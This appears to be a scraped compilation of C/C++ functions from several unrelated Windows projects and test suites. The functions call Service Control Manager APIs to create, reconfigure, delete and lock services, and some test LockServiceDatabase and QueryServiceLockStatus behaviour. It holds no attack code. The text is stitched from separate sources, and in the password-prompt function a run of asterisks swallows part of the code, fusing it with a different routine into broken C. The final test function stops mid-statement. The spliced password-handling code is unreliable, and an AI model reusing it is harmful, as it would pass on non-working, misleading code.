/** * Creates the service. * * @returns 0 on success. * @returns -1 on failure. */ static int suplibOsUpdateService(void) { /* * Assume it didn't exist, so we'll create the service. */ SC_HANDLE hSMgr = OpenSCManager(NULL, NULL, SERVICE_CHANGE_CONFIG); DWORD LastError = GetLastError(); NOREF(LastError); AssertMsg(hSMgr, ("OpenSCManager(,,delete) failed LastError=%Rwa\n", LastError)); if (hSMgr) { SC_HANDLE hService = OpenService(hSMgr, SERVICE_NAME, SERVICE_CHANGE_CONFIG); if (hService) { char szDriver[RTPATH_MAX]; int rc = RTPathExecDir(szDriver, sizeof(szDriver) - sizeof("\\VBoxDrv.sys")); if (RT_SUCCESS(rc)) { strcat(szDriver, "\\VBoxDrv.sys"); SC_LOCK hLock = LockServiceDatabase(hSMgr); if (ChangeServiceConfig(hService, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, szDriver, NULL, NULL, NULL, NULL, NULL, NULL)) { UnlockServiceDatabase(hLock); CloseServiceHandle(hService); CloseServiceHandle(hSMgr); return 0; } else { DWORD LastError = GetLastError(); NOREF(LastError); AssertMsgFailed(("ChangeServiceConfig failed LastError=%Rwa\n", LastError)); } } UnlockServiceDatabase(hLock); CloseServiceHandle(hService); } else { DWORD LastError = GetLastError(); NOREF(LastError); AssertMsgFailed(("OpenService failed LastError=%Rwa\n", LastError)); } CloseServiceHandle(hSMgr); } return -1; }
BOOL ChangeConfig() { SC_HANDLE service; SC_HANDLE scm; BOOL res; SC_LOCK lock; scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS | GENERIC_WRITE); if (!scm) { ErrorHandler("OpenSCManager", GetLastError()); } lock = LockServiceDatabase(scm); if (lock == 0) { ErrorHandler("LockServiceDatabase", GetLastError()); } service = OpenService(scm, ServiceName, SERVICE_ALL_ACCESS); if (!service) { ErrorHandler("OpenService", GetLastError()); } res = ChangeServiceConfig( service, SERVICE_NO_CHANGE, SERVICE_NO_CHANGE, SERVICE_NO_CHANGE, NULL, NULL, NULL, NULL, NULL, NULL, NULL); if (!res) { UnlockServiceDatabase(lock); ErrorHandler("ChangeServiceConfig", GetLastError()); } res = UnlockServiceDatabase(lock); if (!res) { ErrorHandler("UnlockServiceDatabase", GetLastError()); } CloseServiceHandle(service); CloseServiceHandle(scm); return TRUE; }
bool ServiceManager::_ReconfigureService(SC_HANDLE hSCManager, const String &ServiceName) //---------------------------------------------------------------------------// // DESCRIPTION: // Updates an existing hMailServer service. //---------------------------------------------------------------------------// { // Retrieve the handle for the service. SC_HANDLE hService = OpenService( hSCManager, ServiceName, SERVICE_QUERY_CONFIG | SERVICE_CHANGE_CONFIG); SC_LOCK sclLock = LockServiceDatabase(hSCManager); if (sclLock == NULL) { ErrorManager::Instance()->ReportError(ErrorManager::Medium, 5056, "ServiceManager::_ReconfigureService", "Failed to obtain lock on service database."); CloseServiceHandle(hService); return false; } // Update the path to the executable String sPath; sPath = Application::GetExecutableName(); sPath += " RunAsService"; if (ChangeServiceConfig( hService, // handle of service SERVICE_NO_CHANGE , // service type: no change SERVICE_NO_CHANGE, // service start type no change SERVICE_NO_CHANGE, // error control: no change sPath, // binary path changed NULL, // load order group: no change NULL, // tag ID: no change NULL, // dependencies: no change NULL, // account name: no change NULL, // password: no change NULL) == 0) // display name: no change { String sErrorMessage; sErrorMessage.Format(_T("ChangeServiceConfig failed. (%d)"), GetLastError()); ErrorManager::Instance()->ReportError(ErrorManager::Medium, 5057, "ServiceManager::_ReconfigureService", sErrorMessage); return false; } // Unlock and release. CloseServiceHandle(hService); UnlockServiceDatabase(sclLock); CloseServiceHandle (hSCManager); return true; }
BOOL CNTServiceControlManager::Unlock() { BOOL bSuccess = TRUE; if (m_hLock) { bSuccess = UnlockServiceDatabase(m_hLock); m_hLock = NULL; } return bSuccess; }
BOOL SetServiceConfig(LPQUERY_SERVICE_CONFIG pServiceConfig, LPWSTR lpServiceName, LPWSTR lpPassword) { SC_HANDLE hSCManager; SC_HANDLE hSc; SC_LOCK scLock; BOOL bRet = FALSE; hSCManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_LOCK); if (hSCManager) { scLock = LockServiceDatabase(hSCManager); if (scLock) { hSc = OpenServiceW(hSCManager, lpServiceName, SERVICE_CHANGE_CONFIG); if (hSc) { if (ChangeServiceConfigW(hSc, pServiceConfig->dwServiceType, pServiceConfig->dwStartType, pServiceConfig->dwErrorControl, pServiceConfig->lpBinaryPathName, pServiceConfig->lpLoadOrderGroup, pServiceConfig->dwTagId ? &pServiceConfig->dwTagId : NULL, pServiceConfig->lpDependencies, pServiceConfig->lpServiceStartName, lpPassword, pServiceConfig->lpDisplayName)) { bRet = TRUE; } CloseServiceHandle(hSc); } UnlockServiceDatabase(scLock); } CloseServiceHandle(hSCManager); } if (!bRet) GetError(); return bRet; }
void ServiceManager::MakeDependentOn(const String &ServiceName) //---------------------------------------------------------------------------// // DESCRIPTION: // Makes hMailServer dependent on RPCSS and ServiceName //---------------------------------------------------------------------------// { // Retrieve the handle for the local service manager. SC_HANDLE hSCManager; hSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE | SC_MANAGER_LOCK); // Retrieve the handle for the service. SC_HANDLE hService = OpenService( hSCManager, _T("hMailServer"), SERVICE_CHANGE_CONFIG ); SC_LOCK sclLock = LockServiceDatabase(hSCManager); if (sclLock == NULL) { CloseServiceHandle(hService); return; } int iLength = ServiceName.GetLength() + 8; TCHAR * lpDependent = new TCHAR[iLength]; memset(lpDependent, 0, iLength * sizeof(TCHAR)); _tcscpy(lpDependent, _T("RPCSS")); _tcscpy(lpDependent+6, ServiceName); int iRet = ChangeServiceConfig( hService, // handle of service SERVICE_NO_CHANGE, // service type: no change SERVICE_NO_CHANGE, // service start type no change SERVICE_NO_CHANGE, // error control: no change NULL, // binary path changed NULL, // load order group: no change NULL, // tag ID: no change lpDependent, // dependencies: no change NULL, // account name: no change NULL, // password: no change NULL); // display name: no change CloseServiceHandle(hService); UnlockServiceDatabase(sclLock); delete [] lpDependent; }
BOOL SetServiceDescription(LPWSTR lpServiceName, LPWSTR lpDescription) { SC_HANDLE hSCManager; SC_HANDLE hSc; SC_LOCK scLock; SERVICE_DESCRIPTION ServiceDescription; BOOL bRet = FALSE; hSCManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_LOCK); if (hSCManager) { scLock = LockServiceDatabase(hSCManager); if (scLock) { hSc = OpenServiceW(hSCManager, lpServiceName, SERVICE_CHANGE_CONFIG); if (hSc) { ServiceDescription.lpDescription = lpDescription; if (ChangeServiceConfig2W(hSc, SERVICE_CONFIG_DESCRIPTION, &ServiceDescription)) { bRet = TRUE; } CloseServiceHandle(hSc); } UnlockServiceDatabase(scLock); } CloseServiceHandle(hSCManager); } if (!bRet) GetError(); return bRet; }
DWORD ConfigService( int svc ) { SC_HANDLE scm = NULL; SC_HANDLE hsvc = NULL; SC_LOCK scl = NULL; DWORD rv = ERROR_SUCCESS; scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if(scm == NULL) {rv = GetLastError(); goto _cleanup; } scl = LockServiceDatabase(scm); if(scl == NULL) {rv = GetLastError(); goto _cleanup; } hsvc = OpenService( scm, ((svc==1)? _T("TransarcAFSDaemon") : _T("TransarcAFSServer")), SERVICE_ALL_ACCESS); if(hsvc == NULL) {rv = GetLastError(); goto _cleanup; } SERVICE_FAILURE_ACTIONS sfa; SC_ACTION saact[3]; sfa.dwResetPeriod = 3600; // one hour sfa.lpRebootMsg = NULL; sfa.lpCommand = NULL; sfa.cActions = 3; sfa.lpsaActions = saact; saact[0].Type = SC_ACTION_RESTART; saact[0].Delay = 5000; saact[1].Type = SC_ACTION_RESTART; saact[1].Delay = 5000; saact[2].Type = SC_ACTION_NONE; saact[2].Delay = 5000; if(!ChangeServiceConfig2(hsvc, SERVICE_CONFIG_FAILURE_ACTIONS, &sfa)) rv = GetLastError(); _cleanup: if(hsvc) CloseServiceHandle(hsvc); if(scl) UnlockServiceDatabase(scl); if(scm) CloseServiceHandle(scm); return rv; }
int DelService(const TCHAR *pszStartStopName) { int rc = ERROR_SUCCESS; _tprintf(_T("Deleting service '%ws' ...\n"), pszStartStopName); SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); SC_HANDLE hService = NULL; if (hSCManager == NULL) { _tprintf(_T("Could not get handle to SCM! Error: %ld\n"), GetLastError()); rc = EXIT_FAIL; } else { hService = OpenService(hSCManager, pszStartStopName, SERVICE_ALL_ACCESS); if (NULL == hService) { _tprintf(_T("Could not open service '%ws'! Error: %ld\n"), pszStartStopName, GetLastError()); rc = EXIT_FAIL; } } if (hService != NULL) { if (LockServiceDatabase(hSCManager)) { if (FALSE == DeleteService(hService)) { DWORD dwErr = GetLastError(); switch (dwErr) { case ERROR_SERVICE_MARKED_FOR_DELETE: _tprintf(_T("Service '%ws' already marked for deletion.\n"), pszStartStopName); break; default: _tprintf(_T("Could not delete service '%ws'! Error: %ld\n"), pszStartStopName, GetLastError()); rc = EXIT_FAIL; break; } } else { _tprintf(_T("Service '%ws' successfully removed!\n"), pszStartStopName); } UnlockServiceDatabase(hSCManager); } else { _tprintf(_T("Unable to lock service database! Error: %ld\n"), GetLastError()); rc = EXIT_FAIL; } CloseServiceHandle(hService); } if (hSCManager != NULL) CloseServiceHandle(hSCManager); return rc; }
/** * @brief * unregister_scm - unregister_scm: return 0 for success; non-zero for fail * * @param[in] svc_name - service name. * * @return int * @retval 0 : success * @retval non-zero : fail */ int unregister_scm(char *svc_name) { SC_LOCK sclLock = NULL; SC_HANDLE schService = NULL; SC_HANDLE schSCManager = NULL; int ret = 1; SERVICE_STATUS ss; int try; schSCManager = OpenSCManager(0, 0, SC_MANAGER_ALL_ACCESS); if (!schSCManager) { fprintf(stderr, "OpenSCManager failed - %d\n", GetLastError()); goto unregister_scm_cleanup; } /* Open a handle to the service instance. */ schService = OpenService(schSCManager, svc_name, SERVICE_ALL_ACCESS); if (!schService) { fprintf(stderr, "OpenService %s failed - %d\n", svc_name, GetLastError()); goto unregister_scm_cleanup; } /* Get the SCM database lock before changing the password. */ sclLock = LockServiceDatabase(schSCManager); if (sclLock == NULL) { fprintf(stderr, "LockServiceDatabase failed - %d\n", GetLastError()); goto unregister_scm_cleanup; } /* Stop the service first */ ControlService(schService, SERVICE_CONTROL_STOP, &ss); try = 0; ss.dwCurrentState = SERVICE_RUNNING; while ((try < WAIT_RETRY_MAX) && ss.dwCurrentState != SERVICE_STOPPED) { printf("[try %d] waiting for service %s to die\n", try, svc_name); sleep(3); if (!QueryServiceStatus(schService, &ss)) break; try++; } if (!DeleteService(schService)) { fprintf(stderr, "DeleteService(%s) failed - %d\n", svc_name, GetLastError()); goto unregister_scm_cleanup; } printf("\nDeleted service %s\n", svc_name); ret = 0; unregister_scm_cleanup: if (sclLock) UnlockServiceDatabase(sclLock); if (schService) CloseServiceHandle(schService); if (schSCManager) CloseServiceHandle(schSCManager); return (ret); } /** * @brief * prompt_to_get_password - prompt for password. * * @param[out] pass - password. */ void prompt_to_get_password(char pass[LM20_PWLEN+1]) { int ch, j; printf("Please enter password: "******""); if ((p=strstr((const char *)account, "\\"))) { *p = '\0'; strcpy(dname, (const char *)account); *p = '\\'; strcpy(uname, p+1); } mbstowcs(unamew, uname, UNLEN+1); mbstowcs(dnamew, dname, PBS_MAXHOSTNAME+1); mbstowcs(passwordw, password, LM20_PWLEN+1); si.cb = sizeof(si); si.lpDesktop = L""; if( !for_info_only && \ ((rc=CreateProcessWithLogonW(unamew, dnamew, passwordw, 0, NULL, L"cmd /c echo okay", flags, NULL, NULL, &si, &pi)) == 0)) { fprintf(stderr, "Password did not validate against %s err=%d\n\nClick BACK button to retry a different password.\nClick NEXT button to abort installation.", account, GetLastError()); wcsset(passwordw, 0); return (0); } WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); printf("%s password for %s\n", (for_info_only?"Validating":"Validated"), account); wcsset(passwordw, 0); return (1); }
/** * @brief * register_scm - return 0 for success; non-zero for fail * * @param[in] svc_name - service name * @param[in] svc_exec - service executable path * @param[in] svc_account - service account * @param[in] svc_password - service password * * @return int * @retval 0 : good to go! * @retval 1 : something bad happened. */ int register_scm(char *svc_name, char *svc_exec, char *svc_account, char *svc_password) { SC_LOCK sclLock = NULL; SC_HANDLE schService = NULL; SC_HANDLE schSCManager = NULL; int ret = 1; schSCManager = OpenSCManager(0, 0, SC_MANAGER_ALL_ACCESS); if (!schSCManager) { fprintf(stderr, "OpenSCManager failed - %d\n", GetLastError()); goto register_scm_cleanup; } /* Get the SCM database lock before changing the password. */ sclLock = LockServiceDatabase(schSCManager); if (sclLock == NULL) { fprintf(stderr, "LockServiceDatabase failed - %d\n", GetLastError()); goto register_scm_cleanup; } /* Set the account and password that the service uses at */ /* startup. */ schService = CreateService(schSCManager, svc_name, __TEXT(svc_name), SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, replace_space(svc_exec, ""), 0, 0, 0, svc_account, svc_password); if (!schService) { fprintf(stderr, "CreateService(%s, path=%s, account=%s) failed - %d\n", svc_name, svc_exec, svc_account, GetLastError()); goto register_scm_cleanup; } printf("\nCreated service %s with path=%s and account=%s\n", svc_name, svc_exec, svc_account); if (strcmpi(svc_name, "PBS_SCHED") == 0) { SERVICE_FAILURE_ACTIONS sfa; SC_ACTION sca[1]; sca[0].Type = SC_ACTION_RESTART; sca[0].Delay = 60*1000; sfa.dwResetPeriod = INFINITE; sfa.lpRebootMsg = NULL; sfa.lpCommand = NULL; sfa.cActions = 1; sfa.lpsaActions = sca; ChangeServiceConfig2(schService, SERVICE_CONFIG_FAILURE_ACTIONS, &sfa); printf("\nConfigured %s to restart on failure\n", svc_name); } ret = 0; register_scm_cleanup: if (sclLock) UnlockServiceDatabase(sclLock); if (schService) CloseServiceHandle(schService); if (schSCManager) CloseServiceHandle(schSCManager); return (ret); }
static void Test_LockUnlockServiceDatabase(void) { BOOL bError = FALSE; SC_HANDLE hScm = NULL; SC_LOCK hLock = NULL; /* First of all, try to lock / unlock the services database with invalid handles */ SetLastError(0xdeadbeef); hScm = NULL; hLock = LockServiceDatabase(hScm); ok(hLock == NULL, "hLock = 0x%p, expected 0\n", hLock); ok_err(ERROR_INVALID_HANDLE); SetLastError(0xdeadbeef); hScm = (SC_HANDLE)0xdeadbeef; hLock = LockServiceDatabase(hScm); ok(hLock == NULL, "hLock = 0x%p, expected 0\n", hLock); ok_err(ERROR_INVALID_HANDLE); /** This test seems to make this application crash on Windows 7... I do not know why... **/ SetLastError(0xdeadbeef); hLock = NULL; bError = UnlockServiceDatabase(hLock); ok(bError == FALSE, "bError = %u, expected FALSE\n", bError); ok_err(ERROR_INVALID_SERVICE_LOCK); /*****************************************************************************************/ SetLastError(0xdeadbeef); hLock = (SC_LOCK)0xdeadbeef; bError = UnlockServiceDatabase(hLock); ok(bError == FALSE, "bError = %u, expected FALSE\n", bError); ok_err(ERROR_INVALID_SERVICE_LOCK); /* Then, try to lock the services database without having rights */ SetLastError(0xdeadbeef); hScm = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT); ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError()); if (!hScm) { skip("No service control manager; cannot proceed with LockUnlockServiceDatabase test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); SetLastError(0xdeadbeef); hLock = LockServiceDatabase(hScm); ok(hLock == NULL, "hLock = 0x%p, expected 0\n", hLock); ok_err(ERROR_ACCESS_DENIED); if (hLock) UnlockServiceDatabase(hLock); CloseServiceHandle(hScm); /* Try to lock the services database with good rights */ SetLastError(0xdeadbeef); hScm = OpenSCManagerW(NULL, NULL, SC_MANAGER_LOCK); ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError()); if (!hScm) { skip("No service control manager; cannot proceed with LockUnlockServiceDatabase test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); SetLastError(0xdeadbeef); hLock = LockServiceDatabase(hScm); ok(hLock != NULL, "hLock = 0x%p, expected non-zero\n", hLock); ok_err(ERROR_SUCCESS); /* Now unlock it */ if (hLock) { SetLastError(0xdeadbeef); bError = UnlockServiceDatabase(hLock); ok(bError == TRUE, "bError = %u, expected TRUE\n", bError); ok_err(ERROR_SUCCESS); } cleanup: if (hScm) CloseServiceHandle(hScm); return; }
extern "C" void __declspec(dllexport) RemoveService( HWND hwndParent, int string_size, TCHAR *variables, stack_t **stacktop) { TCHAR ServiceName[100] = {0}; TCHAR* reason = 0; TCHAR* stopString = NULL; BOOL okay = FALSE; DWORD error = 0; g_hwndParent=hwndParent; g_stringsize=string_size; g_stacktop=stacktop; g_variables=variables; //MessageBox(hwndParent, TEXT("Enter Remove Service"), TEXT("RemoveService"), MB_OK); if (0 == popstring(ServiceName)) { //MessageBox(hwndParent, ServiceName, TEXT("RemoveService"), MB_OK); SC_HANDLE hSCM = OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS); if (hSCM) { SC_HANDLE hService = OpenService(hSCM, ServiceName, SERVICE_ALL_ACCESS); if (hService) { SC_LOCK hLock = LockServiceDatabase(hSCM); if(hLock) { okay = DeleteService(hService); if (!okay) { error = GetLastError(); } UnlockServiceDatabase(hLock); } else { error = GetLastError(); } CloseServiceHandle(hService); } else { error = GetLastError(); } CloseServiceHandle(hSCM); } else { error = GetLastError(); } } else { SetLastError(ERROR_INVALID_PARAMETER); } if (FALSE == okay) { if (!reason) { LPVOID lpMsgBuf = NULL; FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, error, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language (LPTSTR) &lpMsgBuf, 0, NULL ); pushstring((TCHAR*)lpMsgBuf); LocalFree(lpMsgBuf); } else { pushstring(reason); } } else { pushstring(TEXT("Ok")); } }
static void Test_QueryLockStatusA(void) { BOOL bError = FALSE; SC_HANDLE hScm = NULL; SC_LOCK hLock = NULL; LPQUERY_SERVICE_LOCK_STATUSA lpLockStatus = NULL; DWORD dwRequiredSize = 0; /* Firstly try to get lock status with invalid handles */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_INVALID_HANDLE, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INVALID_HANDLE); ok(dwRequiredSize == 0, "dwRequiredSize is non-zero, expected zero\n"); /* Open the services database without having rights */ SetLastError(0xdeadbeef); hScm = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT); ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError()); if (!hScm) { skip("No service control manager; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); /* Try to get lock status */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_ACCESS_DENIED, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_ACCESS_DENIED); ok(dwRequiredSize == 0, "dwRequiredSize is non-zero, expected zero\n"); CloseServiceHandle(hScm); /* * Query only the lock status. */ SetLastError(0xdeadbeef); hScm = OpenSCManagerA(NULL, NULL, SC_MANAGER_QUERY_LOCK_STATUS); ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError()); if (!hScm) { skip("No service control manager; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); /* Get the needed size */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INSUFFICIENT_BUFFER); ok(dwRequiredSize != 0, "dwRequiredSize is zero, expected non-zero\n"); if (dwRequiredSize == 0) { skip("Required size is null; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } /* Allocate memory */ lpLockStatus = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize); if (lpLockStatus == NULL) { skip("Cannot allocate %lu bytes of memory\n", dwRequiredSize); goto cleanup; } /* Get the actual value */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, lpLockStatus, dwRequiredSize, &dwRequiredSize); ok(bError, "bError = %u, expected TRUE\n", bError); /* These conditions must be verified iff the services database wasn't previously locked */ ok(lpLockStatus->fIsLocked == 0, "lpLockStatus->fIsLocked = %lu, expected 0\n", lpLockStatus->fIsLocked); ok(lpLockStatus->lpLockOwner != NULL, "lpLockStatus->lpLockOwner is null, expected non-null\n"); ok(lpLockStatus->lpLockOwner && *lpLockStatus->lpLockOwner == 0, "*lpLockStatus->lpLockOwner != \"\\0\", expected \"\\0\"\n"); ok(lpLockStatus->dwLockDuration == 0, "lpLockStatus->dwLockDuration = %lu, expected 0\n", lpLockStatus->dwLockDuration); HeapFree(GetProcessHeap(), 0, lpLockStatus); CloseServiceHandle(hScm); /* * Now, try to lock the database and check its lock status. */ SetLastError(0xdeadbeef); hScm = OpenSCManagerA(NULL, NULL, SC_MANAGER_LOCK | SC_MANAGER_QUERY_LOCK_STATUS); ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError()); if (!hScm) { skip("No service control manager; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); /* Get the needed size */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INSUFFICIENT_BUFFER); ok(dwRequiredSize != 0, "dwRequiredSize is zero, expected non-zero\n"); if (dwRequiredSize == 0) { skip("Required size is null; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } /* Allocate memory */ lpLockStatus = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize); if (lpLockStatus == NULL) { skip("Cannot allocate %lu bytes of memory\n", dwRequiredSize); goto cleanup; } /* Get the actual value */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, lpLockStatus, dwRequiredSize, &dwRequiredSize); ok(bError, "bError = %u, expected TRUE\n", bError); /* These conditions must be verified iff the services database wasn't previously locked */ ok(lpLockStatus->fIsLocked == 0, "lpLockStatus->fIsLocked = %lu, expected 0\n", lpLockStatus->fIsLocked); ok(lpLockStatus->lpLockOwner != NULL, "lpLockStatus->lpLockOwner is null, expected non-null\n"); ok(lpLockStatus->lpLockOwner && *lpLockStatus->lpLockOwner == 0, "*lpLockStatus->lpLockOwner != \"\\0\", expected \"\\0\"\n"); ok(lpLockStatus->dwLockDuration == 0, "lpLockStatus->dwLockDuration = %lu, expected 0\n", lpLockStatus->dwLockDuration); HeapFree(GetProcessHeap(), 0, lpLockStatus); /* * Try again, this time with the database locked. */ SetLastError(0xdeadbeef); hLock = LockServiceDatabase(hScm); ok(hLock != NULL, "hLock = 0x%p, expected non-zero\n", hLock); ok_err(ERROR_SUCCESS); Sleep(1000); /* Wait 1 second to let lpLockStatus->dwLockDuration increment */ /* Get the needed size */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INSUFFICIENT_BUFFER); ok(dwRequiredSize != 0, "dwRequiredSize is zero, expected non-zero\n"); if (dwRequiredSize == 0) { skip("Required size is null; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } /* Allocate memory */ lpLockStatus = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize); if (lpLockStatus == NULL) { skip("Cannot allocate %lu bytes of memory\n", dwRequiredSize); goto cleanup; } /* Get the actual value */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, lpLockStatus, dwRequiredSize, &dwRequiredSize); ok(bError, "bError = %u, expected TRUE\n", bError); /* These conditions must be verified iff the services database is locked */ ok(lpLockStatus->fIsLocked != 0, "lpLockStatus->fIsLocked = %lu, expected non-zero\n", lpLockStatus->fIsLocked); ok(lpLockStatus->lpLockOwner != NULL, "lpLockStatus->lpLockOwner is null, expected non-null\n"); ok(lpLockStatus->lpLockOwner && *lpLockStatus->lpLockOwner != 0, "*lpLockStatus->lpLockOwner = \"\\0\", expected non-zero\n"); ok(lpLockStatus->dwLockDuration != 0, "lpLockStatus->dwLockDuration = %lu, expected non-zero\n", lpLockStatus->dwLockDuration); HeapFree(GetProcessHeap(), 0, lpLockStatus); /* * Last try, with the database again unlocked. */ SetLastError(0xdeadbeef); bError = UnlockServiceDatabase(hLock); ok(bError == TRUE, "bError = %u, expected TRUE\n", bError); ok_err(ERROR_SUCCESS); hLock = NULL; /* Get the needed size */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INSUFFICIENT_BUFFER); ok(dwRequiredSize != 0, "dwRequiredSize is zero, expected non-zero\n"); if (dwRequiredSize == 0) { skip("Required size is null; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } /* Allocate memory */ lpLockStatus = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize); if (lpLockStatus == NULL) { skip("Cannot allocate %lu bytes of memory\n", dwRequiredSize); goto cleanup; } /* Get the actual value */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, lpLockStatus, dwRequiredSize, &dwRequiredSize); ok(bError, "bError = %u, expected TRUE\n", bError); /* These conditions must be verified iff the services database is unlocked */ ok(lpLockStatus->fIsLocked == 0, "lpLockStatus->fIsLocked = %lu, expected 0\n", lpLockStatus->fIsLocked); ok(lpLockStatus->lpLockOwner != NULL, "lpLockStatus->lpLockOwner is null, expected non-null\n"); ok(lpLockStatus->lpLockOwner && *lpLockStatus->lpLockOwner == 0, "*lpLockStatus->lpLockOwner != \"\\0\", expected \"\\0\"\n"); ok(lpLockStatus->dwLockDuration == 0, "lpLockStatus->dwLockDuration = %lu, expected 0\n", lpLockStatus->dwLockDuration); HeapFree(GetProcessHeap(), 0, lpLockStatus); cleanup: if (hLock) UnlockServiceDatabase(hLock); if (hScm) CloseServiceHandle(hScm); return; }
static void Test_LockUnlockServiceDatabaseWithServiceStart(void) { BOOL bError = FALSE; SC_HANDLE hScm = NULL; SC_HANDLE hSvc = NULL; SC_LOCK hLock = NULL; LPQUERY_SERVICE_CONFIGW lpConfig = NULL; DWORD dwRequiredSize = 0; SERVICE_STATUS status; BOOL bWasRunning = FALSE; DWORD dwOldStartType = 0; /* Open the services database */ SetLastError(0xdeadbeef); hScm = OpenSCManagerW(NULL, NULL, SC_MANAGER_LOCK); ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError()); if (!hScm) { skip("No service control manager; cannot proceed with LockUnlockServiceDatabaseWithServiceStart test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); /* Grab a handle to the testing service */ SetLastError(0xdeadbeef); hSvc = OpenServiceW(hScm, TESTING_SERVICE, SERVICE_START | SERVICE_STOP | SERVICE_CHANGE_CONFIG | SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS); ok(hSvc != NULL, "hSvc = 0x%p, expected non-null, error=0x%08lx\n", hSvc, GetLastError()); if (!hSvc) { skip("Cannot open a handle to service %S; cannot proceed with LockUnlockServiceDatabaseWithServiceStart test\n", TESTING_SERVICE); goto cleanup; } ok_err(ERROR_SUCCESS); /* Lock the services database */ SetLastError(0xdeadbeef); hLock = LockServiceDatabase(hScm); ok(hLock != NULL, "hLock = 0x%p, expected non-zero, error=0x%08lx\n", hLock, GetLastError()); if (!hLock) { skip("Cannot lock the services database; cannot proceed with LockUnlockServiceDatabaseWithServiceStart test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); /* To proceed further, firstly attempt to stop the testing service */ QueryServiceConfigW(hSvc, NULL, 0, &dwRequiredSize); lpConfig = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize); QueryServiceConfigW(hSvc, lpConfig, dwRequiredSize, &dwRequiredSize); dwOldStartType = lpConfig->dwStartType; HeapFree(GetProcessHeap(), 0, lpConfig); if (dwOldStartType == SERVICE_DISABLED) { ChangeServiceConfigW(hSvc, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_NO_CHANGE, NULL, NULL, NULL, NULL, NULL, NULL, NULL); } QueryServiceStatus(hSvc, &status); bWasRunning = (status.dwCurrentState != SERVICE_STOPPED); if (bWasRunning) { ControlService(hSvc, SERVICE_CONTROL_STOP, &status); Sleep(1000); /* Wait 1 second for the service to stop */ } /* Now try to start it (this test won't work under Windows Vista / 7 / 8) */ SetLastError(0xdeadbeef); bError = StartServiceW(hSvc, 0, NULL); ok(bError == FALSE, 